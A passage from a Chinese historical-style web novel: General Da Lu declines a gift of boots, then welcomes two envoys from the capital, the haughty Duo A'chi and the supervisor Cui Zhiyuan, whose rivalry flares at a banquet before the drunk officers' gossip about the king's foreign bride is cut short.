阿枝摇头笑道:“那倒没有,这会儿还早,我在屋子里闲着无事,做些针线活计。”说着,顿了一下,抬起双手递上一物,“这个给你。”
“这是什么?”
“给你做了一双靴子,你要不要试……”
女人话未说完,达鲁起身退开一步,说道:“有心了,以后不要做这些。”
说罢,掉过身,从院门穿到另一处院落,接着响起门扇开阖之声,人已进了屋。
这处小院分里外两道,外院这屋是这名叫阿枝的女子所居,里间还有一方院落,比外间的院落小一些。
达鲁住在里间的院落。
待男人走后,阿枝在原处立了一会儿,将手里的布包打开,里面是她才做好的一双玄色长靴,然后又看了一眼右手磨红的指节,轻轻叹了一息,转身回了自己的房间。
次日,京都来人。
达鲁一早得到消息,此次来使不仅有朵老大人之子,朵阿赤,还有王庭派来的监军,名叫崔致远的,这人他之前从未听过,朵家给他的信里只捎带提了一嘴,其他情况一概不知。
这两方,任何一方都不能轻易得罪,处理不好,他在这个位置就做到头了。
他心里清楚,夷越之主虽是呼延氏,可他终归得倚仗朵氏一族,他已经上了朵家的船,不是想下就能下的。
达鲁撇开手中事务,亲身带人出城迎接京都来使,只见前方一大队人马乌压压朝这边行来。
山雨欲来风满楼,皆属龙江虎浪之人,波涛将起啊……
第141章 红颜祸水
达鲁领着部下纵马出城接迎,随在他身侧的鱼九看了一眼老鬼,低声道:“哪个?”
“什么哪个?”老鬼斜了他一眼。
“还有什么,自然是问哪个是朵家郎君?”
老鬼觑眼看去,冷笑一声,答非所问:“你看看这些人,哪个像朵家的?”
鱼九展眼往对面一扫,拿下巴指了指左边为首之人:“这个?”
“再猜。”
鱼九又拿下巴指了指右边为首之人:“那个前面的?”
“不是。”
“这么些人,我哪里知道。”
老鬼笑了一声,说出来的话凉生生的:“所以说你没脑子,那么精贵的一人儿,会让他骑马来?往后看,那大一辆马车没看见?”
鱼九乘在马上,往前探了探脖,呵!还真是,好大一辆华盖车马,适才被前面的人马挡住,竟是没注意到。
待两方相会,达鲁翻身下马,立了一会儿,眼睛穿过人隙,看向那辆华车,车帘不动半分,很显然,车里的人不打算下车,等他上前。
这时的气氛已然有些不对,随达鲁出城迎候的军将们面上虽不显,心里却激愤,一个靠家族庇荫之人,却拿架子等大将军请他下车。
再观对面的朵家人,连奴才在内,一个个摆出目中无人的姿态,好像他们凌驾一切。
达鲁沉着出一口气,这是一见面就打算给他来个下马威,好让他知晓孰高孰低,认清身份。
一阵风过,达鲁抬脚往马车边走去,才走两步,一个清朗的声音从对面人群传来。
“将军大人!”
“将军大人!”
这一声声叫得又激动又热烈,一众人的眼睛争抢着找寻声音的出处。
达鲁定目一看,就见对面人群正中一灰衣男子滚鞍下马,趋步向他走来,待走近了才辨认清楚,那人穿得不是一件灰衣,而是一件白色布衣,污成了其他颜色。
来人向他拱手,表明自己的身份,达鲁这才知晓,这位看起来黑瘦,却精神奕奕之人就是王庭下派的崔姓监军,忙还一礼,叙问路途辛苦。
崔致远看了一眼达鲁身后之众将,扬高声调,兴叹一声:“将军大人,虎镇九州,竟屈尊亲迎某等,此等殊遇,如此厚情,实是叫某等诚惶诚恐。”
众将一听,胸中淤堵顿时疏散,心中不免思忖,此人为监军,乃大王亲信,却没有丝毫架势,再看看朵家之人,这么一比较,真是验了那句话,什么叫“真龙不露相,小鬼耍威风”。
因有了崔致远这一出,马车里的朵阿赤哪里还坐得住,只好掀帘下车,走了过来,同达鲁相互道了一番问候。
就这么,达鲁将人迎回城中,将早已收拾出的院落用来安置朵阿赤和崔致远,其余之人另做安置。
是夜,将军府治了接风筵宴,达鲁又请军中各副将作陪。
席间,歌舞吹弹,声乐盈耳。
上首正中坐着达鲁,右手长案坐着崔致远,左手长案坐着朵阿赤。
光这个位次,朵阿赤心里就有意见,这个崔致远不知从哪个角落蹦跶出来的草莽,只因是大王亲派,待遇就高他一筹。
因着心里不痛快,连带着没有好脸色。
堂间众将皆是武人,见那朵家郎君面色不虞,活像人欠了他二五八万似的,先还向他敬酒,到后面也不热脸贴冷屁股,不去招呼他。
众人反倒同大王派来的监军相谈得甚为投契。
这些武将多是从底层摸爬滚打,挣得军功,一步一步走到这个位置,毕竟真正的高门子弟,是不会跑到军营来争苦吃,顶多像朵阿赤一般,走个过场,踩在别人的肩背上捞个军功就走。
崔致远同这些兵士们一样,也是从底层起来的小人物,脑子又活,见人说人话,见鬼说鬼话,再加上他属大王委派,众人自然更亲近于他。
毕竟对大多数人来讲,君王就是君王,是夷越第一流人物,在夷越不管你是什么上姓,都比不了王姓,呼延氏。
“崔监军,京都城有什么好玩的或是好吃的?那边的女人好看不好看?”
说话之人正是鱼九。
此言一出,引得众人哄笑,连上首的达鲁也摇头笑起来。
他们这些边军,除了达鲁和三两个副将,其他人皆没去过京都,驻守境军,除非因命调离,否则一辈子不得离开守望之地。
崔致远手拈酒杯,借着醉意,眯眼将场内情景快速一扫,心中有了定数。
这些军中大小将领,皆以达鲁为首,这个为首,不仅仅是因为达鲁的将军职位,而是真心追随此人,再观刚才年轻小将的顽话,作为大将的达鲁非但没有斥责,反倒跟着一起笑。
这就不仅仅是上下级的关系,还兼有兄弟之情。
若能拉拢这样一群人,对大王日后大有裨益,可谓手中利刃,若失败的话……
崔致远朗笑出声,说道:“咱们夷越京都有天下最鲜的肉食,有天下最香的醇酿,自然也有天下最美的女人。”
此话一出,引得席间众人哄笑出声,可是笑了几声后,声音随之低了下去。
最鲜的肉食,最香的醇酿,最美的女人,谁不向往,可也只能是向往。
就在众人情绪低落之时,崔致远给自己满上一杯酒,高高举起,说道:“我夷越京都能有如此繁华,百姓安享太平,皆是众边境将士拿命搏来的,没有你们,又何来的肉食、醇酿?待到海宇清宁,我必向大王请奏,让众位将军赏玩京都,酒肉管够!”
此话一出,低沉下去的空气又欢腾起来,虽然只是口头言语,可它到底是一份盼望。
就在众人起兴之时,居于达鲁左侧的朵阿赤嗤笑一声,这一声嗤笑很轻,再加上堂下还有歌舞,众人又在喧笑,应是听不到,偏让崔致远听到了,他不光听到,他还大剌剌地问了出来。
“朵家郎君,你笑什么?有甚可笑的?”
朵阿赤两眼往下睨着,嘴角勾着笑,可笑意之下的轻蔑,谁都看得出来。
“听你说话甚是可笑,我便笑了,怎的,不准人笑?”
朵阿赤忍
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了这个瘦小书生一路,又见他在席上夸夸其谈,把一众兵匪哄得乐呵,在心里不知骂了他多少遍小人。
他一向傲惯了的,不屑于同此等末流见识,不承想崔致远在这些兵匪面前搬出君王,说什么向上请奏,他个寒酸书生,连个正经官职都无,就这监军之衔还是临时的,请哪门子的奏。
崔致远也不恼,轻松说道:“笑可以,但我不觉得我刚才说的话可笑,是我说的那句‘我夷越京都能有如此繁华,百姓安享太平,皆是众边境将士拿命搏来的’这句可笑?还是‘让众位将军赏玩京都,酒肉管够’这句可笑?”
男人说着,看向上首的达鲁,问道:“将军大人,我刚才的话可笑?”
达鲁怔了一怔,没想到这位监军会突然认真起来,初见之时,他谦恭太过,落后又见他同军中副将们随意玩笑,以为此人是个“三旨相公”,一,取圣旨,二,领圣旨,三,得圣旨,空谈治国大道,却无实际作为。
此番态度陡转,反叫人无法轻视。
“监军之言并不可笑,反倒振奋人心。”达鲁说着,举起酒杯敬向崔致远,“我代众将敬请监军一杯。”
崔致远亦回举。
达鲁又举杯向朵阿赤:“也请小朵大人一杯,没甚好酒菜,只当清坐一回。”
朵阿赤心里不痛快归不痛快,也不至于表露太过,现下在人家的地盘,该做的样子还是得做,于是举起酒杯,仰头饮下。
这时,下首的鱼九对着崔致远高声道了一句:“监军大人,你的话可信,说得咱们这些人欢喜,你不能食言哩!”
一语毕,众人就见那崔监军冷下来的脸再次挂上笑:“绝不食言,届时,我带你们游玩京都!”
这一下,不管此话是虚是实,众人都将它当成真的了。
此时,不知谁又问了一句:“听闻咱们大王娶了一个梁女,监军大人可有这回事?”
话音未落,另一个声音说道:“咱们同梁国有仇,大王为何要娶一个梁女?”
众人似乎对这个话题很感兴趣,再加上吃了酒,言谈之间难免失分寸。
“依我看,这梁女定是容貌上乘,把大王给迷住了,不然为何不娶我夷越女子,独独娶一个敌国女子?”
又一人说道:“所以说红颜祸水,大多**皆因女人而起,还是貌美的女人。”
“但愿咱们大王不要因梁女当一个**……”
话音未落,被一道呵斥打断:“都给我住口!”
众将抬眼看去,打断他们说话之人正是大将军,达鲁,众将自知失言,且是当着大王亲派的监军之面,当下都不敢啧声,生怕被治下大罪。
达鲁看向下首,一挥手,叫退歌舞,肃脸呵斥道:“一个个儿喝了点酒便不知自己是什么东西,满嘴浑唚。”
说着又看向崔致远,再转头看向朵阿赤,赔笑道:“二位莫要同这些行伍鄙夫见识,连字也不识的,说出来的话不能作数,都是无心之言。”
这时却响起几声拊掌……